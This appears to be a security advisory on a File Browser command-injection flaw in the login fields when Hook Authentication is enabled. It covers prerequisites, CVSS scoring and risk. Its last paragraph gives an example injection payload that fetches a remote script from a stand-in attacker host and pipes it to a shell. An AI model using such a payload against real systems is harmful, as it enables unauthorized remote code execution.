File Browser CVE-2026-54088

Exploitation requires the File Browser instance to have the optional Hook Authentication feature enabled (login verification delegated to an external shell command) - this is the exact prerequisite and it is not the default. Given that configuration, no authentication is needed (PR:N): an unauthenticated remote attacker simply injects shell metacharacters into the username or password field on the login screen, and the command executes before any authentication check. The primary limiting factor is the non-default Hook Authentication configuration; instances using standard, proxy, or no-hook authentication are not exploitable via this path.

All severity signals point to genuine high priority: the CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N describes a network-reachable, low-complexity, unauthenticated attack with full confidentiality, integrity, and availability impact on the vulnerable system, scoring 9.3. The critical caveat is the conditional nature of the bug: exploitation requires the non-default Hook Authentication feature to be enabled, so the raw CVSS - which assumes the feature is active - overstates risk for the majority of deployments that use standard authentication. No EPSS score, KEV listing, or POC indicator was supplied; exploitation status is therefore 'no public exploit identified at time of analysis.' Net assessment: critical and trivially exploitable where Hook Authentication is configured, but limited in blast radius across the install base by that configuration prerequisite - instances with the feature enabled should be treated as urgent.

An attacker who can reach the login page of a File Browser instance configured with Hook Authentication submits a username or password containing shell metacharacters, e.g. a payload like '; curl http://evil/x | sh ;'. The server passes the unsanitized value to the configured shell hook before validating any credentials, executing the attacker's commands as the File Browser process user. No public exploit code is identified at this time, but the network attack vector and low complexity make weaponization straightforward.